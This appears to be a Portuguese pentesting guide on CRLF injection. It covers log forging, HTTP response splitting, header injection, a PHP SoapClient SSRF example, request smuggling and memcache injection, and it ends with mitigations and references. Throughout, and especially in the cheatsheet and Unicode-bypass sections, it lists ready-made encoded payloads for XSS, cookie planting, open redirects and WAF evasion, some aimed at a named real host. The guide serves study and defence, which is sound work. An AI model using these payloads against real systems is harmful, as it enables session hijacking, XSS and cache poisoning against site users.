CRLF (%0D%0A) Injection

CRLF

Carriage Return (CR) e Line Feed (LF), coletivamente conhecidos como CRLF, são sequências de caracteres especiais usadas no protocolo HTTP para denotar o fim de uma linha ou o início de uma nova. Servidores web e navegadores usam CRLF para distinguir entre cabeçalhos HTTP e o corpo de uma resposta. Esses caracteres são universalmente empregados em comunicações HTTP/1.1 em vários tipos de servidores web, como Apache e Microsoft IIS.

Vulnerabilidade de Injeção CRLF

A injeção CRLF envolve a inserção de caracteres CR e LF em entradas fornecidas pelo usuário. Essa ação engana o servidor, aplicativo ou usuário, fazendo com que interpretem a sequência injetada como o fim de uma resposta e o início de outra. Embora esses caracteres não sejam inerentemente prejudiciais, seu uso indevido pode levar à divisão de resposta HTTP e outras atividades maliciosas.

Exemplo: Injeção CRLF em um Arquivo de Log

Example from here

Considere um arquivo de log em um painel de administração que segue o formato: IP - Time - Visited Path. Uma entrada típica pode parecer:

123.123.123.123 - 08:15 - /index.php?page=home

Um atacante pode explorar uma injeção de CRLF para manipular este log. Ao injetar caracteres CRLF na solicitação HTTP, o atacante pode alterar o fluxo de saída e fabricar entradas de log. Por exemplo, uma sequência injetada pode transformar a entrada do log em:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Aqui, %0d e %0a representam as formas codificadas em URL de CR e LF. Após o ataque, o log exibiria de forma enganosa:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

O atacante, assim, encobre suas atividades maliciosas fazendo parecer que o localhost (uma entidade tipicamente confiável dentro do ambiente do servidor) realizou as ações. O servidor interpreta a parte da consulta que começa com %0d%0a como um único parâmetro, enquanto o parâmetro restrictedaction é analisado como outra entrada separada. A consulta manipulada efetivamente imita um comando administrativo legítimo: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Descrição

HTTP Response Splitting é uma vulnerabilidade de segurança que surge quando um atacante explora a estrutura das respostas HTTP. Essa estrutura separa os cabeçalhos do corpo usando uma sequência de caracteres específica, Carriage Return (CR) seguido de Line Feed (LF), coletivamente chamados de CRLF. Se um atacante conseguir inserir uma sequência CRLF em um cabeçalho de resposta, ele pode efetivamente manipular o conteúdo da resposta subsequente. Esse tipo de manipulação pode levar a sérios problemas de segurança, notavelmente Cross-site Scripting (XSS).

XSS através de HTTP Response Splitting

1. A aplicação define um cabeçalho personalizado assim: X-Custom-Header: UserInput
2. A aplicação busca o valor para UserInput de um parâmetro de consulta, digamos "user_input". Em cenários que carecem de validação e codificação adequadas de entrada, um atacante pode criar um payload que inclui a sequência CRLF, seguida de conteúdo malicioso.
3. Um atacante cria uma URL com um 'user_input' especialmente elaborado: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• Nesta URL, %0d%0a%0d%0a é a forma codificada em URL de CRLFCRLF. Isso engana o servidor para inserir uma sequência CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.

4. O servidor reflete a entrada do atacante no cabeçalho da resposta, levando a uma estrutura de resposta não intencional onde o script malicioso é interpretado pelo navegador como parte do corpo da resposta.

Um exemplo de HTTP Response Splitting levando a Redirecionamento

De https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Navegador para:

/%0d%0aLocation:%20http://myweb.com

E o servidor responde com o cabeçalho:

Location: http://myweb.com

Outro exemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

No Caminho da URL

Você pode enviar a carga útil dentro do caminho da URL para controlar a resposta do servidor (exemplo de aqui):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Confira mais exemplos em:

{{#ref}} https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md {{#endref}}

Injeção de Cabeçalho HTTP

A Injeção de Cabeçalho HTTP, frequentemente explorada através da injeção CRLF (Carriage Return e Line Feed), permite que atacantes insiram cabeçalhos HTTP. Isso pode comprometer mecanismos de segurança, como filtros XSS (Cross-Site Scripting) ou o SOP (Same-Origin Policy), levando potencialmente ao acesso não autorizado a dados sensíveis, como tokens CSRF, ou à manipulação de sessões de usuário através do plantio de cookies.

Explorando CORS via Injeção de Cabeçalho HTTP

Um atacante pode injetar cabeçalhos HTTP para habilitar CORS (Cross-Origin Resource Sharing), contornando as restrições impostas pelo SOP. Essa violação permite que scripts de origens maliciosas interajam com recursos de uma origem diferente, potencialmente acessando dados protegidos.

SSRF e Injeção de Requisição HTTP via CRLF

A injeção CRLF pode ser utilizada para criar e injetar uma nova requisição HTTP. Um exemplo notável disso é a vulnerabilidade na classe SoapClient do PHP, especificamente dentro do parâmetro user_agent. Ao manipular esse parâmetro, um atacante pode inserir cabeçalhos adicionais e conteúdo do corpo, ou até mesmo injetar uma nova requisição HTTP completamente. Abaixo está um exemplo em PHP demonstrando essa exploração:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Injeção de Cabeçalho para Smuggling de Requisições

Para mais informações sobre esta técnica e problemas potenciais verifique a fonte original.

Você pode injetar cabeçalhos essenciais para garantir que o back-end mantenha a conexão aberta após responder à requisição inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Depois, uma segunda solicitação pode ser especificada. Este cenário geralmente envolve HTTP request smuggling, uma técnica onde cabeçalhos ou elementos de corpo extras adicionados pelo servidor após a injeção podem levar a várias explorações de segurança.

Exploração:

1. Injeção de Prefixo Malicioso: Este método envolve envenenar a solicitação do próximo usuário ou um cache da web especificando um prefixo malicioso. Um exemplo disso é:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Criando um Prefixo para Envenenamento da Fila de Respostas: Esta abordagem envolve criar um prefixo que, quando combinado com lixo no final, forma uma segunda solicitação completa. Isso pode acionar o envenenamento da fila de respostas. Um exemplo é:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Injeção de Memcache

Memcache é um armazenamento de chave-valor que usa um protocolo de texto claro. Mais informações em:

{{#ref}} ../network-services-pentesting/11211-memcache/ {{#endref}}

Para informações completas, leia o artigo original

Se uma plataforma estiver recebendo dados de uma solicitação HTTP e usando-os sem sanitização para realizar solicitações a um servidor memcache, um atacante poderia abusar desse comportamento para injetar novos comandos memcache.

Por exemplo, na vulnerabilidade descoberta originalmente, chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os atacantes conseguiram injetar comandos memcache que envenenariam o cache para enviar os detalhes das vítimas (nomes de usuário e senhas incluídos) para os servidores do atacante:

Além disso, os pesquisadores também descobriram que podiam desincronizar as respostas do memcache para enviar o IP e as portas dos atacantes para usuários cujo e-mail o atacante não conhecia:

Como Prevenir Injeções CRLF / HTTP Header em Aplicações Web

Para mitigar os riscos de injeções CRLF (Carriage Return e Line Feed) ou HTTP Header em aplicações web, as seguintes estratégias são recomendadas:

1. Evitar Entrada Direta do Usuário em Cabeçalhos de Resposta: A abordagem mais segura é evitar incorporar a entrada fornecida pelo usuário diretamente nos cabeçalhos de resposta.
2. Codificar Caracteres Especiais: Se evitar a entrada direta do usuário não for viável, certifique-se de empregar uma função dedicada à codificação de caracteres especiais como CR (Carriage Return) e LF (Line Feed). Essa prática previne a possibilidade de injeção CRLF.
3. Atualizar Linguagem de Programação: Atualize regularmente a linguagem de programação usada em suas aplicações web para a versão mais recente. Opte por uma versão que inherentemente não permita a injeção de caracteres CR e LF dentro das funções encarregadas de definir cabeçalhos HTTP.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Vulnerabilidades Recentes (2023 – 2025)

Os últimos anos produziram vários bugs de injeção de cabeçalho CRLF/HTTP de alto impacto em componentes amplamente utilizados, tanto do lado do servidor quanto do cliente. Reproduzir e estudar esses bugs localmente é uma excelente maneira de entender os padrões de exploração do mundo real.

Esses bugs são importantes porque são acionados dentro do código de nível de aplicação e não apenas na borda do servidor web. Qualquer componente interno que realiza requisições HTTP ou define cabeçalhos de resposta deve, portanto, impor filtragem de CR/LF.

Bypasses Avançados de Unicode / Caracteres de Controle

Pilhas modernas de WAF/reescritores frequentemente removem \r/\n literais, mas esquecem de outros caracteres que muitos back-ends tratam como terminadores de linha. Quando CRLF é filtrado, tente:

• %E2%80%A8 (U+2028 – SEPARADOR DE LINHA)
• %E2%80%A9 (U+2029 – SEPARADOR DE PARÁGRAFO)
• %C2%85 (U+0085 – PRÓXIMA LINHA)

Alguns frameworks Java, Python e Go convertem esses caracteres em \n durante a análise de cabeçalhos (veja a pesquisa da Praetorian de 2023). Combine-os com payloads clássicos:

/%0A%E2%80%A8Set-Cookie:%20admin=true

Se o filtro normaliza UTF-8 primeiro, o caractere de controle é transformado em uma quebra de linha regular e o cabeçalho injetado é aceito.

Evasão de WAF via Truque de Content-Encoding Duplicado (2023)

Pesquisadores da Praetorian também mostraram que, ao injetar:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

em um cabeçalho refletido, os navegadores ignorarão o corpo fornecido pelo servidor e renderizarão HTML fornecido pelo atacante que segue, dando XSS armazenado mesmo quando o conteúdo da própria aplicação é inerte. Porque Content-Encoding: identity é permitido pelo RFC 9110, muitos reverse-proxies o encaminham inalterado.

Ferramentas Automáticas

• CRLFsuite – scanner ativo rápido escrito em Go.
• crlfuzz – fuzzer baseado em lista de palavras que suporta payloads de nova linha Unicode.
• crlfix – utilitário de 2024 que corrige requisições HTTP geradas por programas Go e pode ser usado de forma independente para testar serviços internos.

Lista de Detecção de Força Bruta

• carlospolop/Auto_Wordlists – crlf.txt

Referências

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/
• https://nvd.nist.gov/vuln/detail/CVE-2024-45302
• https://security.praetorian.com/blog/2023-unicode-newlines-bypass/